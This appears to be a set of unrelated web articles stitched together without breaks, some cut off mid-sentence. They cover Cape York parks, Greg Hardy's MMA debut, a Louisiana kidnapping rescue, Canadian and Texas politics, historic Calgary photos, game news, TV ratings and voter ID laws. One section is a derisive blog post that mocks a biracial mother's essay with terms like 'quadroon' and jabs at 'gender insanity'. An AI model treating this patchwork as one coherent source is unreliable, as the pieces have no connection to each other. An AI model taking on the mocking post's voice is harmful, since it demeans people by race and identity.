The traditional owners had raised concerns about some of the impacts from the scale of tourism and visitation and wanted to ensure independence from government agencies.
With three national parks created by the Wuthathi, there are now a total of 26 Aboriginal-owned and jointly-managed national parks over more than 2m hectares in Cape York.
The Wuthathi Aboriginal Corporation are looking to begin talks with possible partners in tourism, social programs and environmental management.
They will need investment in basic infrastructure to support land and sea management and research, and temporary accommodation.Former NFL player Greg Hardy will compete in his first MMA contest when he meets Joe Hawkins in an amateur heavyweight bout at Rise of a Warrior 21 on Nov. 4 at the Havert L. Fenn Center in Fort Pierce, Fla.
The news was confirmed by MMA Fighting’s Ariel Helwani after Hardy tweeted a response to a fan who was asking when he would fight (h/t to MMA Today):
Thank you and God bless bro pic.twitter.com/N4BVSVzQmC — Greg Hardy (@GregHardyJr) October 13, 2017
Hardy, 29, was involved in a highly publicized domestic violence case in May 2014 when his girlfriend reported that he assaulted her and threatened to kill her. After initially receiving 18 months probation, Hardy appealed the verdict and the charges were later dropped when the alleged victim failed to testify.
The Carolina Panthers did not re-sign Hardy following the accusations, and he would play 12 games for the Dallas Cowboys in the 2015-2016 season before they too declined to bring Hardy back.
Hardy has been working with the American Top Team gym to prepare for his fighting career. In an appearance on The MMA Hour this past February, Hardy said that training in MMA was beneficial to him moving on from his controversial past.
“It’s helped me a lot of ways,” Hardy said. “I have a lot of problems as a human being. It’s not something that you do, just walking around saying ‘I’m perfect’ or ‘I’m good.’ Man, I have a lot of different issues that I’m definitely working through and working on. I would say this helps me channel everything. It helps me just come back down to Earth, be humble, because these are machines that I see everyday. I get choked out, punched in the face, and laid out on the mat daily, and that’s not something that a guy my size and my stature with my history has every come across.
“It’s a humbling experience, man,” he continued. “Actually, it’s making me really appreciative of everything that I’ve had and everything that I have, and the opportunity that I have to kinda come in and show myself as a guy that is not what everybody says on TV, or, ‘he’s not a monster, he’s not a killer, a women beater,’ this, that and the other. It gives me an opportunity to just come in, be a humble guy, and learn, and honestly just be at the feet of all these champions who walk around like they’re just normal guys... and have the opportunity to make myself better one more time, one last time in sports and life in general.”Transcript for Family Mounts Rescue Mission to Help Police Find Kidnapped Woman
Next tonight the story of a family leaping into action. A woman was kidnapped, missing for two days in louisiana. Relatives were afraid the police search was taking too long. Time was running out. So they mounted a rescue mission onir own. Abc's steve osunsami tells us what happened next. Reporter: This was the moment of relief when the family of 29-year-old bethany arceneaux found and rescued her from a violent ex-boyfriend who was holding her hostage. He was about to kill her. He wasn't going to stick around and wait for it to happen. Reporter: She had been missing for days of the the police search was getting nowhere so they searched too. Her aunts and sisters posted fliers with her photo. Her brothers and cousins got their guns and searched the woods. They were checking out this abandoned home in louisiana when they heard her scream. He told her as soon as they kick the door in I'm going to kill you. Reporter: They say scott thomas started stabbing her when they broke in and then one of them shot him dead. Police had their guns drawn in this vacant house on anderson road. Reporter: By the time police arrived it was over. For now even the district attorney says he won't charge the family. In this case they saved the girl from dying and unfortunately the assailant died. Reporter: Like so many abused women arceneaux kept filing police reports and she kept getting released on bond. In june she filed for this restraining order saying he choked me until the point i couldn't breathe. These orders of protection are often no stronger than the paper they're written on. At least half areiolated by the same people they're meant to stop. The arceneauxs say they did what they had to do. Steve osunsami, abc news, atlanta.
This transcript has been automatically generated and may not be 100% accurate.New project management articles published on the web during the week of October 12 – 18. We give you a clear view, so you can read what interests you. Recommended:
Must read!
Steve Cheney explains how Steve Jobs positioned Apple to dominate the world for the next ten years, when everything including electric cars will be simply a mobile device.
John Goodpasture explains bureaucracy as an organization where “No” has more power than ”Yes.” Think of it as institutionalized hesitation.
Martin Abbott and Mike Fisher contrast two organizational mindsets: IT service delivery, and technology product development. They need very different management approaches!
Established Methods
Harry Hall shows why you need a complete understanding of the risks and issues before you develop a risk response.
Allen Ruddock looks at risk and issue management at the program and portfolio level.
Henny Portman reviews two more “little” books from Nine Feet Tall: “The little book of Portfolio Management” and “The little book of Project Methodologies.”
Andy Jordan examines the challenges of establishing a management structure for large projects.
Glen Alleman debunks Hofstadter’s Law: “It always takes longer than you expect, even when you take into account Hofstadter’s Law.”
Ryan Ogilvie opens with the question,” Is your Service Desk still relevant?” It’s all about interacting with customers.
Agile Methods
Mike Griffiths details the human resources practice of talent management, as applied to Agile teams.
Bruce Harpham has collected ten resources for project managers who want to get a better understanding of Agile methods.
Mike Cohn uses a restaurant example to demonstrate that changing requirements have a cost, even if it’s not made visible to the customer.
Applied Leadership
Elizabeth Harrin on IT projects: “There is no dichotomy of IT and ‘the business.’ IT is part of the business.” Hear, hear!
Cyndee Miller summarizes the lessons learned from David Robertson’s PMI Keynote address on how Lego got away from “disruptive innovation” and re-engaged their customers.
Seth Godin extends our understanding of infrastructure, to include culture.
Pawel Brodzinski that there is no safe way to experiment with culture.
Suzanne Lucas has rounded up five online classes that will help you brush up on key leadership skills.
Steven Levy presents a mix of common, uncommon, and whimsical clocks, and their meaning to our working lives.
Podcasts and Videos
Cesar Abeid interviews instructor Maria Matarelli on the Certified Scrum Master program and the PMI Agile Certified Practitioner certification. Just 38 minutes, safe for work.
Cornelius Fichtner interviews Victor Carter-Bey on the PMI Talent Triangle, and coming changes to PMP continuing education requirements. Just 35 minutes, safe for work.
Jon Whitty deconstructs the “capability engine” of a café to produce a great cup of coffee as six business elements, all in balance – the Syllk model. Just six minutes, safe for work.
Bryan Orr interviews Cesar Abeid on his new book, “Project Management for You,” and how project management applies to small business. Just 20 minutes, safe for work.
The Electric Cloud hosts a panel discussion on Agile in Large Enterprises with Johanna Rothman, Todd Decapua, Josh Sieden, and Todd Miller. Not quite an hour, safe for work.
Elise Stevens interviews Gillian Klette on managing organizational change as if the current state were a dance, and you are changing the rhythm. Just 15 minutes, safe for work.
Enjoy!
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PrintSurprisingly enough, the greatest fear of a pregnant Social Justice Warrior is not having had an abortion yet, but the fear of having a baby that turns out to be… White!
A biracial woman, Xavia Dryden, who is married to a White guy is afraid that her son will “enter the world under the veil of whiteness” …
“In true millennial fashion, my first instinct after confirming my pregnancy was to turn to the internet for guidance. Naively, I perused the slick, pastel interfaces of maternity sites for posts on ‘common new mom fears,’ searching feverishly for the ‘helpful hints’ I actually needed. I crossed my fingers and hoped for articles with titles like, ‘So, Your Baby Is Passing’ or ‘What to Expect When Your Baby Begins to Show Signs of Internalized Anglo-Normativity.’ “No such luck.”
Maybe, juuust maybe, most parents aren’t worried about their biracial (quadroon, to use the old terminology) child will turn out to be the reincarnation of Hitler?
But this clearly psychological hang-up runs deep:
“I worry, should my son be born darker, that when he is stopped and patted down on his way home from school or work or a date he will see this not as a violation, but as a fact of life. I worry that perhaps when my son is born, he will feel the unwelcome brush of strangers’ hands against his body and recognize it from those days in the womb—as natural as the pulsations of my heartbeat or the far-off vibrations of my voice. “These are the fears I harbor for the quarter of my son that is black. For the whiteness within him, and for myself, I harbor other fears—fears of erasure that fill me with shame, because while I pray that my son will not suffer the slings and injustices of American Otherness, I also pray that his privilege, should he inherit it, will not divide us. I fear that my son—insulated for nine-odd months in the warm shelter of my womb—will burst into the world and not recognize me. I fear that he will, in the midst of latching his tiny mouth around my nipple, see its darkness against his impossibly pale skin and see not his mother, but a stranger. I fear that my son, as he grows into a teenager, will feel his pale cheeks flush with shame when I appear to check in on him and his friends, not because of my tendency to hover—helicopter parenting transcends race, after all—but because of my residency in a body whose darkness is so vastly different from his own.”
This woman is married and having the child in wedlock. Clearly she is willing to call him a boy and not buy wholeheartedly into the modern “gender” insanity. She clearly doesn’t hate White people too much, seeing as she’s married to one. She’s even willing to have the child, despite her worries! That right there gives her son a much better chance at success in life than many newborns now-a-days.
Perhaps the best thing she could do is not worry whether her child will be “Black” or “White”, but concentrate on being a as good as a mother as she can.
TweetThe New American Dream
Mark Whitehead became a Christian when he was nine years old, but he considered himself more as a “good churchgoer” than a genuine Christian. He had worked in industrial sales for almost thirty years, been married for twenty years and been a father to two daughters in the Birmingham, Alabama.
Mark was living the American dream. Then, in February 2006, he woke up.
Mark had been attending The Church at Brook Hills, where a young pastor named David Platt preached a sermon entitled “The Ultimate Disconnect,” which was based on Psalm 67:1-2.
Those two verses are but a sentence long but the message “shook us in our boots,” said Mark. “Have you disconnected God’s blessings from his purposes?” David asked the congregation.
Exiting the Bubble
The question reverberated in Mark and forced him to reevaluate his life’s priorities. He embarked on a series of trips to Mexico, Ukraine and South Sudan in the following couple years to discover how to reconnect his blessings with God’s purposes. He sensed that he was supposed to start a ministry but the details were vague.
Mark was in South Sudan in April 2008 when his mission took shape: to meet material and spiritual needs in the developing world. The vision became clearer – provide access to “clean water to advance the gospel.” And that’s how Neverthirst was birthed.
“Everything’s done through the local church,” said Mark. Neverthirst has facilitated around 2,000 projects that provided roughly 300,000 people in the Central African Republic, India, South Sudan and Cambodia.
Mark explained that local pastors apply for water projects with buy-in from the village. “We help the community identify and meet their needs with their own resources,” Mark said.
The projects commence once the village has raised a repair fund that equals around $220 (US), which is put into a savings account designated for maintenance. This is how, Mark said, Neverthirst tries to “break the dependency cycle that we exported many years ago.”
Breaking this cycle that’s been set for years isn’t easy though. “It might be months until they get the funds raised,” said Mark.
There’s a bit of a “learning curve,” for the villagers, who live in mostly agrarian settings. “They have the means and ability,” he said. “Then once they realize they can do it, it’s like their eyes are opened to new possibilities.”
In this way, Neverthirst serves as an intermediary between rural water departments, drilling companies, churches and businesses.
Neverthirst transforms communities
Iron Tribe Fitness (ITF), a fitness franchise based in Birmingham, Alabama, has teamed up with Neverthirst. The quickly expanding franchise is just as mission-oriented about cultivating healthy and fit lifestyles as Neverthirst is about spreading the gospel through greater access to clean water.
Since its inception in 2009, charity has been an integral ITF value, so the partnership between the business and the nonprofit was only natural. With six locations in Birmingham alone, ITF leveraged their outreach and influence on Neverthirst’s behalf through starting a fundraising event called WOD for Water.
WOD for Water across the ITF network has raised hundreds of thousands of dollars. Each independently-run ITF coordinates its own WOD for Water, but shares one website.
In September 2013, ITF in Birmingham held their WOD for Water in Avondale Park to accommodate the almost |
for a planned rally in London, Ont., in the evening.
Conservative Leader Stephen Harper takes part in a campaign rally in London, Ont., on Sunday. (Sean Kilpatrick/Canadian Press) NDP Leader Jack Layton called for a phased-in doubling of the Canada Pension Plan and the Quebec Pension Plan.
The party has supported closing loopholes to bankruptcy laws to allow pensioners to jump to the front of the line if a company files for bankruptcy.
Layton outlined the NDP’s health-care priorities Sunday, including a pledge to train and recruit more doctors and nurses over the next decade. He also promised to work to repatriate 300 Canadian doctors living abroad and improve benefits for disabled and retired veterans.
In an interview on Tout le Monde en Parle, a show broadcast to more than 1.5 million Quebecers, Layton addressed concerns his hip problems could be related to his cancer, saying it’s believed to be just a fracture.
Layton said he in no way believes this will be his last campaign, saying he hopes to be on the campaign trail in the future if his health allows it.
Harper, Ignatieff trade shots
Conservative Leader Stephen Harper kicked Week Two off with a campaign event in Wainfleet, Ont., on Monday morning, which was to be followed by a rally in Guelph at 5:30 p.m. local time.
Harper used his stop at a farm in Wainfleet to re-announce plans to introduce legislation to scrap the federal long-gun registry. The Conservative leader has consistently said that he believes the long-gun registry is wasteful, ineffective and does nothing to reduce crime.
The location of Harper's news conference is significant as it is in the riding that was held by the NDP's Malcolm Allen when the election was called. Allen originally opposed the long-gun registry but switched his position and voted to support the controversial program.
Ignatieff was spending the day in Atlantic Canada as he starts the second week of the campaign pitching his new campaign platform to voters.
NDP Leader Jack Layton speaks to supporters in Toronto on the issue of protecting pensions. (Paul Chiasson/Canadian Press) He began Monday by greeting commuters at a Halifax ferry terminal with a copy of his platform, which the party published as an advertisement in copies of the local newspaper Metro. Then he goes to Newfoundland to hold a rally in St. John’s Monday evening.
Green Party Leader Elizabeth May was scheduled to spend the day in British Columbia, starting with a news conference outside the CBC building in Victoria.
May is then expected to meet constituents and campaign in Sidney, B.C., followed by a campaign office opening and canvassing in Saanich, a Victoria suburb.
Bloc Québécois Leader Gilles Duceppe had a busy schedule planned for Monday, including a photo shoot with local candidates at Parc nautique de Saint-Jean-Port-Joli.
Duceppe was then scheduled to attend a photo shoot with union representatives for Bombardier 7, visit a local business on Rue Louis-Philippe Lebrun and pose for photos with the mayor of Riviere-du-Loup Monday evening.To really to get to know the city’s history, one must travel back in time and stay high above the ground. It’s all about perspective.
8th Avenue, ca. unknown
Photo: Calgary Public Library
According to a handwritten note scrawled on the back of the postcard, the image was take from an old “observatory bldg.”
Looking northeast from the Grain Exchange building, ca. 1910
Photo: Calgary Public Library
The Alexander Block is on the left side of the street and the Bank of Montreal building, Central Methodist church and First Baptist church are on the right.
A northwest view from the Grain Exchange building, ca. unknown
Photo: Calgary Public Library
The six-storey Grain Exchange was one of the tallest buildings in Alberta when it was completed in 1909 for a cost of $164,000. To put that into perspective, the province’s current tallest building, The Bow, was completed in 2013 at a cost of $1.4 billion.
Aerial view, ca. 1980
Photo: Calgary Public Library
Yep, Calgary has seen just a wee bit of development over the last 35 years.
View of downtown from the north side of the Bow River, ca. 1930s
Photo: Calgary Public Library
The same view decades later, ca. unknown
Photo: Calgary Public Library
View from Upper Mount Royal, ca. 1910
Photo: Calgary Public Library
Calgary’s exclusive Upper Mount Royal neighbourhood used to be called American Hill, named for the large number of US immigrants who bought land in the area in the early part of the 20th century. At the turn of the 21st century, Americans still made up 29 per cent of the residents.
Looking south from the Hudson’s Bay building, ca. 1914
Photo: Calgary Public Library
The tallest building in this picture, the newly completed Fairmont Palliser Hotel, was the tallest in the city at the time the photograph was taken. It held onto that distinction until 1958 when construction on the 20-storey Elveden Centre wrapped up.
Looking southwest from the Hudson’s Bay building, ca. 1918
Photo: Calgary Public Library
While no exact date is given, we know the photo was taken sometime around 1918 because the building under construction is the Lancaster Building, which was completed in 1919.
Looking east along 8th Avenue, ca. 1910
Photo: Calgary Public Library
Before the City of Calgary switched from street names to numbers in 1904, 8th Avenue was called Stephen Avenue, named for Baron George Mount Stephen, the first president of the Canadian Pacific Railway.
View of Mount Royal, ca. unknown
Photo: Calgary Public Library
9th Avenue East, ca. unknown
Photo: Calgary Public Library
Here we have a close-up look at the Robin Hood Flour mill. Built around 1910, in its heyday the mill ground 105 million litres of Alberta wheat annually into 9.5 million kilograms of flour destined for international markets. Declining production brought on by a loss of export markets contributed to the closure of the mill in 1969. The building and its iconic sign were demolished a few years later.
Downtown ca. 1940
Photo: Calgary Public Library
This aerial view of the city was taken by a member of the Royal Canadian Air Force during World War II.
Panoramic view from North Hill, ca. 1911
Photo: Calgary Public Library
A handwritten note on the back of the postcard, dated 1912, reads: “Calgary-taken from the North Hill about 12 months ago. City Hall there under construction. The clear portion of the photo shows what really was old Calgary. There are twice as many people living outside the radius of this picture as there are in it.” The note was addressed to a Mrs F.B. Hartney at 8 Ford Street West in Toronto, Ontario.
View of Calgary above the Elbow River, ca. 1906
Photo: Calgary Public Library
With the bank of the Elbow River in the foreground, this aerial view shows Rundle Lodge, the second Calgary General Hospital, built in 1895 and demolished in 1973. A portion of the structure was incorporated into a park scheme which was dedicated in 1974 as “Rundle Ruins” by then-Alberta Premier Peter Lougheed.
Calgary Tower (formerly Husky Tower), ca. 1969
Photo: Calgary Public Library
The Husky Tower was the tallest free-standing tower in North America when it first opened on June 30th, 1968.
The downtown skyline, ca. 1970s
Photo: Calgary Public Library
The official description on the back of the postcard reads: “Calgary, Alberta, Canada. The 1970’s are bringing an unprecedented explosion in the industrial growth of Calgary; Canada’s fastest growing city. The skyline of downtown Calgary is a spectacular panorama of ever growing sky scrapers.”AUSTIN (KXAN) -- Some lawmakers believe a group that looks into public corruption is too political, but its record shows it prosecutes both parties.
The Public Integrity Unit started under Travis County District Attorney Ronnie Earle, a Democrat. The unit is still housed in that office, now under another Democrat, Rosemary Lehmberg.
For years, critics have explored the idea of moving the unit, which received state money, out of that office. The conversations continue this legislative session. In fact, the Senate budget includes no money for the unit.
The group is already operating with out state money. Former Gov. Rick Perry vetoed funding for the unit. A felony indictment accuses Perry of abusing his power and coercion of a public official for threatening the veto if Lehmberg didn't resign following her drunk driving arrest and plea. Perry has said he had lost faith in the leader of the office.
"I personally don't believe it belongs in Travis County. It's too poltical," said Texas Sen. Jane Nelson, R-Flower Mound, who chairs the powerful Senate Finance Committee.
The unit is perhaps most famous for its case against former U.S. Congressman and Majority Leader Tom DeLay, a Republican. After the indictment, DeLay claimed the Travis County District Attorney, Earle, was abusing his power and that the indictment from the Public Integrity Unit was a "political witch hunt."
The unit's record
Records from the Travis County District Attorney's Office show the Public Integrity Unit has prosecuted 21 cases involving elected officials since the late 1970s. Of those, 15 cases are Democrats and six are Republicans.
Still, Democrats were long the dominant party in the state, until a shift in the 1980s.
Through its history, the PIU has prosecuted lawmakers at the some of the highest levels of state and federal government.
The unit's prosecutions include Republicans like U.S. Congressman Tom DeLay and U.S. Senator Kay Bailey Hutchison. As for Democrats, the unit went after Texas Attorney General Jim Mattox, Texas Speaker of the House Gibson "Gib" Lewis, and Texas Treasurer Warren G. Harding.
Still, these records show what has risen to the level of prosecution, not what has been investigated.
The director of the unit Gregg Cox wouldn't comment Monday on accusations involving any political motivations. When asked about the current state of the unit and the attitude within the PIU, Cox said the unit is focusing on doing its job.
"We don't really have much time to sit around and fret about those kinds of things," he said. "We just have a lot of work to do."
For now, the unit continues as a smaller version of its former self. Cox says the PIU disbanded its sections that focused on insurance and motor fuels tax fraud. What's left is a unit looking into about 250 cases. Nineteen of those cases are public corruption cases. Only one of those is an elected official, although Cox declined to say who that person is. Cox says the remaining corruption cases are "fairly low-level" state employees. The majority of the cases PIU works on are fraud cases where the state is the victim, not corruption.
"I certainly believe that the functions of the Public Integrity Unit are very important. However, I know there is going to be discussion this session. We've got a long session to discuss where the function should be placed and at what level they should be funded," Nelson said. "And so, I didn't put [any money in the budget for the Public Integrity Unit] until we know where we're going with this."Some 34pc of women aged 18 and over said they preferred a male boss, with workers aged between 25 to 34 the most likely age group to opt for a male leader, the survey of 2,500 employees by the fashion brand found.
For many women in their late 20s and early 30s, finding the right boss is critical to help them forge their own careers before taking time out to have children. A quarter of male employees also preferred a male boss, the study showed.
Nicky Dulieu, chief executive of Hobbs, which carried out the research to better understand the working women who shop at its stores, told Telegraph Wonder Women that female employees lacked confidence in other women at work, as well as in their own ability to succeed.
She said: "Women in management positions can show less of their personalities. We hide our natural personalities, and need more confidence. When I realised that being'me' wasn't a bad thing in business – that I'm not the toughest or always right – it was a good thing for me. There is so much pressure on women to be superhuman, they have no personality in the process."
The findings are even more stark when participants were asked to rank the qualities needed in a leader compared to what are considered male vs female qualities: women scored higher on three out of the top four attributes needed to be a good a leader – good communication, listening and organisation skills – and yet are not thought of highly as bosses.
The former Marks & Spencer executive said because many women in management positions could not be themselves, they lacked "humour" – which turned off many female employees as they could not relate to them. "Women value humour in a leader, but many women fail to be themselves, to show personality," she said.
Overall, the survey showed the majority of men and women in the workplace (61pc) did not mind whether they had a female or male boss. But Ms Dulieu said it was "worrying" that as many as third of women, and a quarter of men, did have a preference for a man manager.
However, younger participants in the survey, aged between 18 and 24, were the only age group to prefer a female boss to a male one – perhaps due to "new talent entering the workforce with a fresh and open mindset", Hobbs said.
'Impostor syndrome'
Ms Dulieu, who joined Hobbs in 2008, said she suffered from "impostor syndrome" early on in her career, where she expected someone to come along and "expose" her for not knowing what she was doing. "You're waiting to find out you're not as good as you think you are," she said. "Women need to support each other more; have a great female network you can trust and where you can share those insecurities, and that was quite a turning point for me."
To tackle the lack of confidence among women – either about their own abilities or other women's – Ms Dulieu said "getting more role models" would help.
"As a leader, I can't tell people to take risks and be themselves in male-dominated meetings, for example, but I can do it myself, lead by example – show that I can have a laugh or take a risk," she said.
"I also think it's about identifying women who do influence the rest of their teams and making sure that they understand the right, natural way of doing it: being themselves."North America's launch window dreams might be dashed.
Pikmin 3 is scheduled for release in spring 2013, according to the latest Iwata Asks, focusing on the Wii U GamePad.
At Nintendo of America's Wii U Preview Event in September, Pikmin 3 was slated for a launch window release in North America. The launch window runs until March 31, 2013. Unless the game is released in the first 11 days of spring, which starts on March 20, then Pikmin 3 will miss the launch window. We have reached out to Nintendo of America for comment on Pikmin 3's release date.
In Japan, Pikmin 3 has been listed as a spring 2013 title since the September Wii U Nintendo Direct. In Europe, nothing regarding the game's release has been mentioned recently.
Wii Fit U and The Wonderful 101 are other games in this weird release date limbo. Like Pikmin 3, they were listed as launch window games in North America. In Japan, Wii Fit U was listed alongside Pikmin 3 as a spring release, and The Wonderful 101 was listed as TBA.UPDATE: Since this article first appeared, Microsoft has confirmed that the bitstream audio firmware update will appear early in 2017, and that DTS-X will be supported as well as Dolby Atmos.
As anyone with a passing interest in gaming will know, the Xbox One S carries an Ultra HD Blu-ray drive. I’ve written before about how impressive this is on a console that can be bought for $299 (£240), and how important it could be in the battle between Microsoft’s ‘mid-gen console hardware refresh’ and the imminent Sony PS4 Pro, which does not feature UHD BD support.
Now, though, the Xbox One S Ultra HD Blu-ray drive’s status as a potential deal-maker for gaming fans also looking to get the best AV performance from their shiny new 4K/HDR TVs has shifted up another gear. This is because Microsoft revealed at its Windows 10 event yesterday that it will be adding to its new console support for bitstream audio, including the premium Dolby Atmos format.
Although relatively few homes currently own the speakers and audio receivers needed to play Dolby Atmos, the lack of support at launch for the brilliant ‘object-based’ sound format was nonetheless seen by many AV enthusiasts as the one sour note in the Xbox One S’s Ultra HD Blu-ray story. Now Microsoft has promised this sour note is going to be dealt with, one of the biggest arguments for AV fans buying a more expensive standalone UHD BD player instead has been removed.
The introduction of Dolby Atmos support is also important because it takes some of the sting out of arguments made by Sony fans that while the Xbox One S may have a UHD BD drive, it’s not a very good one.
It’s still true that the Xbox One S Ultra HD Blu-ray drive isn’t a class-leading performer, as I’ll discuss in a full review next week. But the ‘it doesn’t even support Dolby Atmos’ point can certainly now be crossed off the anti-Xbox One S check list.
In more good news for Xbox One S owners, Microsoft’s lead Xbox One S engineer, Mike Ybarra, tweeted following the Windows 10 event that the Atmos support would be available for games (if developers support it) as well as Ultra HD Blu-rays.
Ybarra also revealed that the original Xbox One will be getting the bitstream audio/Dolby Atmos update too.
As mentioned in the Update at the top of this article, while Microsoft hasn't yet confirmed an exact date for when the bitstream audio update will be rolled out, we do now know it will be early 2017. Microsoft has also confirmed to me that the update will additionally provide support for the DTS-X object-based audio format.
In this story interested you, you might also like to check out one of my other articles around this subject: PS4 Pro’s Missing 4K Blu-ray Drive: The Mistake Sony Had To Make.It was a noticeably quiet week in the late-night ratings from April 10-14, 2017, with all of the major CBS and NBC series taking the week off. “The Tonight Show Starring Jimmy Fallon” ran a week of encores and fell from a 0.68 to a 51 rating in adults 18-49. Also on NBC, “Late Night with Seth Meyers” dipped six-hundredths of a point from a 0.36 to a 0.30.
CBS’ “Late Show with Stephen Colbert” also fell from a 0.51 to a 0.39, below “Jimmy Kimmel Live’s” 0.46. On CBS, “Late Late Show with James Corden” dropped from a 0.34 to a 0.24, with “Nightline” being one of the only shows to not air encores all week, rising above it with a 0.29.
In cable, “The Daily Show with Trevor Noah” aired a week of encores and fell from its previous 0.26 to a 0.20. Meanwhile, TBS’ “Conan” rose four-hundredths of a point to 0.24 with a week of original, new episodes.
Here are the late-night numbers for April 10 – 14, 2017:
BROADCAST
Note: “Jimmy Kimmel Live” aired an encore episode on April 14.
Show Net Adults 18-49, 4/10 – 4/14 Viewers (millions), 4/10 – 4/14 Adults 18-49 season to date Viewers (millions) season to date 11:35 p.m. The Tonight Show Starring Jimmy Fallon – R NBC 0.51/3 2.19 0.83/5 3.23 Jimmy Kimmel Live CBS 0.46/3 2.28 0.49/3 2.24 Late Show with Stephen Colbert – R ABC 0.39/2 2.22 0.58/3 3.15 12:35 a.m. Late Night with Seth Meyers – R NBC 0.30/2 1.21 0.43/3 1.58 Nightline ABC 0.29/2 1.39 0.32/2 1.47 Late Late Show with James Corden – R CBS 0.24/2 1.11 0.31/2 1.34 1:35 a.m. Last Call with Carson Daly – R NBC 0.20/2 0.72 0.25/2 0.85
CABLE
Show Net Time Adults 18-49, 4/10 – 4/14 Viewers (millions), 4/10 – 4/14 Adult Swim programming Adult Swim 11:30 p.m. 0.59 1.20 Adult Swim programming Adult Swim 12:30 a.m. 0.51 1.01 Conan TBS 11 p.m. 0.24 0.52 The Daily Show with Trevor Noah – R Comedy Central 11 p.m. 0.20 0.59
Source: The Nielsen CompanyIf the New York Times only knew of the trouble it has caused Justin Trudeau.
The paper’s detailed breakdown of global middle-class income data published this week revealed that America’s middle-class is no longer the most affluent in the world. Rather, the Times found, “median income in Canada pulled into a tie” with that of the US in 2010 “and has most likely surpassed it since then.”
It should have been good news to Canadians. It certainly was to the Conservative government. Cabinet ministers trumpeted the findings on Twitter, and the party even slapped the news on its website. For the Liberal leader, however, the story might have been just annoying. Why? Because Trudeau’s been telling everyone essentially the opposite – that middle-class Canadians are doing poorly. It’s a message he’s spread for months as he’s lead his third-placed party into a relative tie in the polls with Stephen Harper’s Conservatives, and to a real chance at unseating them in 2015. Now, thanks to the Times, Trudeau faces the accusation that he’s been wrong all along.
Is he?
Facebook Twitter Pinterest A Justin Trudeau campaign video
After the initial furor over the story died down, Liberal MP and former finance minister, Ralph Goodale, defended the team on his blog. In a post, he pointed to the “hard arithmetic” that showed median after-tax income has gone from $59,600 in 1980 to just $68,000 in 2011. “That’s a gain of just 14% – 14% spread over 30 years!” he sputtered, before explaining (in all caps) that income growth has been perhaps as little as half a percentage point each year – basically nothing. Which sounds outrageous, but it doesn’t really undermine the Times story. The trend overall is still upward in recent years, even for single-parent families led by women. “The specific claim that ‘Canadian median family incomes are stagnating (or falling)’ was known to be wrong some time ago,” Stephen Gordon, a professor of economics at Laval University, wrote in an email Thursday.
But so what if Canada’s median middle-class incomes are going up? “The cost of essentials – food, shelter, transportation – are increasing faster than the average Canadian household income,” Liberal MP Chrystia Freeland states on her website. Is that true? Those specific costs have risen. But other costs have also gone down – such as clothing, for instance. And even as housing costs have risen, costs of furniture and electrical appliances have fallen since the early 2000s.
So, the truth of what’s going may lie somewhere between the talking points, in the middle of the Times’s assessment and Trudeau’s.
“There have been real gains over the past … and those should be celebrated,” Mike Moffatt, an assistant professor for business, economics and public policy at the Richard Ivey School of Business, said. However, “large portions of the middle-class are struggling.” Moffatt points to south-western Ontario, an area once rich with manufacturing jobs, as an example. The region has shed 78,500 jobs in that sector in the last 10 years, Moffatt said, which has caused “high levels of structural unemployment for the (mostly) men who worked in that industry.”
And there lies the key to why Trudeau may carry on, no matter what the Times says.
For many Canadians, what matters is how it feels. And in some parts of Canada, things don’t feel very middle-class anymore. People are unemployed, and they’re often staying that way. According to the OECD, the number of Canadians unemployed for 53 weeks or longer was around 40,000 in 2008-09. In 2013, it was between 92,000 and 112,000. Places like Ontario, Quebec, and the Atlantic provinces in particular are feeling the pressure.
It just so happens those are the exact areas the Liberals will need to win in order to form government.The Politics Behind New Voter ID Laws
Voters going to the polls next year — and even some this year — will encounter a lot of new rules. Photo ID requirements and fewer options for early voting are among the biggest changes.
toggle caption Dinesh Ramde/AP
They're part of a wave of new laws enacted by Republican-controlled legislatures this year. Supporters say the rules are needed to ensure honest elections.
But Democrats say it's part of a concerted GOP campaign to suppress the vote. They say minorities, students, the poor and disabled — those most likely to vote Democratic — will be hurt the most.
Seven states so far this year have enacted new laws requiring voters to show photo ID at the polls. Ohio and Pennsylvania are considering similar requirements, and several other states already have them on the books.
Other states have placed restrictions on voter registration drives, imposed new requirements for voters to show proof of citizenship, or reduced the amount of time for early voting.
"This is about putting up obstacles to legal voters being able to exercise the franchise," says Scot Ross, executive director of One Wisconsin Now, an advocacy group that opposes the changes. "That is the scheme that the Republicans have concocted on this."
Ross says tens of thousands of Wisconsin voters lack the photo ID that will now be required in that state. He says many of them will also have difficulty traveling to motor vehicle offices to get free ID cards available under the law.
Other Resources On Voter ID Laws The National Conference of State Legislatures has more information on changes to voting laws this year. The Brennan Center for Justice at New York University Law School, which opposes many of the changes, also has a detailed list. National Conference Of State Legislatures Brennan Center for Justice
All this, he adds, was created to solve a problem that doesn't exist.
"The bottom line is, in Wisconsin, there is no evidence of widespread voter impropriety happening at any point in time," Ross says.
But supporters say, in effect, that's beside the point and that the changes won't hurt legitimate voters. They argue that any voter fraud — even the possibility of fraud — is a concern.
"Whether it's one case, a hundred cases or a hundred-thousand cases, making sure we have legislation that protects the integrity for an open, fair and honest election in every single case is important," said Wisconsin's Republican governor, Scott Walker, when he signed the new law this spring.
And Republicans appear to be winning over public opinion. Polls shows that an overwhelming majority of voters back ID requirements.
In Tennessee, the Republican secretary of state, Tre Hargett, is preparing plans and public service announcements to make sure voters in his state adjust smoothly to the new rules. They'll be required to show photo ID at the polls and to provide proof of citizenship when they register to vote.
Hargett rejects opponents' claims that the changes will discourage voter turnout.
I think that nothing could disenfranchise an eligible voter more than finding out that ineligible voters are voting.
"I think that nothing could disenfranchise an eligible voter more than finding out that ineligible voters are voting," he says.
Hargett cited a 2005 special election in Memphis, in which poll workers admitted to faking at least three votes. But opponents of the new restrictions say a photo ID requirement won't stop that kind of fraud.
Doug Chapin, an election expert with the Humphrey School of Public Affairs at the University of Minnesota, says one problem with the current debate is that there's little data to back up either side.
Chapin says there's not only no evidence of widespread fraud, but "you really haven't seen, despite the rhetoric to the contrary, a whole lot of evidence that there are large numbers of people who are registered to vote, or want to register to vote, and don't have the kind of ID that would be required."
That's one reason Democrats and voting rights activists will be on high alert over the coming year, as they try to gather examples of harmed voters for potential legal challenges to many of the new state laws.
One civil rights group, the Advancement Project, has already filed suit against a voter ID initiative in Missouri. The ACLU is fighting new voter restrictions in Florida, and there's likely much more to come.Cartoon Network has renewed animated series “Mighty Magiswords” for a second season.
“Mighty Magiswords” tells the story of Prohyas and Vambre, brother-sister warriors for hire who rely on their collection of enchanted swords — cheeseburger sword, dolphin sword and mummy sword among them — to complete tasks during their comic adventures.
